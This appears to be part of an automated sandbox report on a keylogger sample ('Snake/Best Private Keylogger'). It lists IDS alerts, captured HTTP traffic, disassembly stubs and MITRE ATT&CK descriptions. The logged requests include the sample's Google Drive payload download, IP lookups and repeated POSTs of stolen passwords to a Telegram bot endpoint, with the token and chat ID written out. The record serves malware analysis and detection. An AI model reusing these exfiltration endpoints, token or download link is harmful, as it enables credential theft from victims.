Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49946 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49946 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50038 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50038 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50044 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50044 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318d38847f8aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a7b8073b53Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31bf58e38809Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31d58447bfffHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31ecffd0d8f8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320728293363Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd321d1ceee9b7Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32345e9c9580Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd324b8d842ff1Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32614e208786Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3279b2cf9e25Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd328f4fe8732cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32a4dc55bf1dHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32bd0647d8c6Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32d26ef83989Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ed1900c427Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd330e4767d75aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33221c009098Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33388384d681Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd335177883a2dHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd336907e6a9aeHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd337f3852d690Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd339d20965d7cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33c3fda625b7Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33e6d407da33Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3413d20af3d8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3445bcd1a54aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd346fcd3daf9cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd34acc0f4c217Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd34da4da4320dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd351bdfb947d2Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd358ba0a45b44Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318d60772313Host: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694C985h	5_2_3694C638
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 36941042h	5_2_36940C28
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 36940671h	5_2_369403AF
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694E198h	5_2_3694DEE1
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694EA48h	5_2_3694E79E
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 36941042h	5_2_36940F6F
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694B791h	5_2_3694B4EC
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 36941042h	5_2_36940C1A
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694C041h	5_2_3694BD88
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694DD40h	5_2_3694DA89
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694EEA0h	5_2_3694EBF6
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694E5F0h	5_2_3694E339
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694F2F8h	5_2_3694F042
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694B339h	5_2_3694B07F
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694C499h	5_2_3694C1F2
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3694BBE9h	5_2_3694B944
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37606A68h	5_2_376067C0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 3760882Dh	5_2_37608650
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 376091B7h	5_2_37608650
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then push 00000000h	5_2_3760BDF0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37604218h	5_2_37603F70
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 376061B8h	5_2_37605F10
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37601250h	5_2_37600FA8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37605908h	5_2_37605660
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 376030B8h	5_2_37602E10
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37603968h	5_2_376036C0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37602808h	5_2_37602560
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37605058h	5_2_37604DB0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 376016A8h	5_2_37601400
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37606EC0h	5_2_37606C18
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37607770h	5_2_376074C8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37601F58h	5_2_37601CB0
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37606610h	5_2_37606368
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37608373
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37607B4F
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37603DC0h	5_2_37603B18
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	5_2_3760CBE7
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37604670h	5_2_376043C8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37603510h	5_2_37603268
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 376054B0h	5_2_37605208
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37605D60h	5_2_37605AB8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then push 00000000h	5_2_3760C92F
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 376023B0h	5_2_37602108
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37602C60h	5_2_376029B8
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37608193
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37607318h	5_2_37607070
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37601B00h	5_2_37601858
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then jmp 37604ACAh	5_2_37604820
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 4x nop then push 00000000h	5_2_37A3E790

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49711 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49750 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:50035 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49709 -> 142.250.181.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
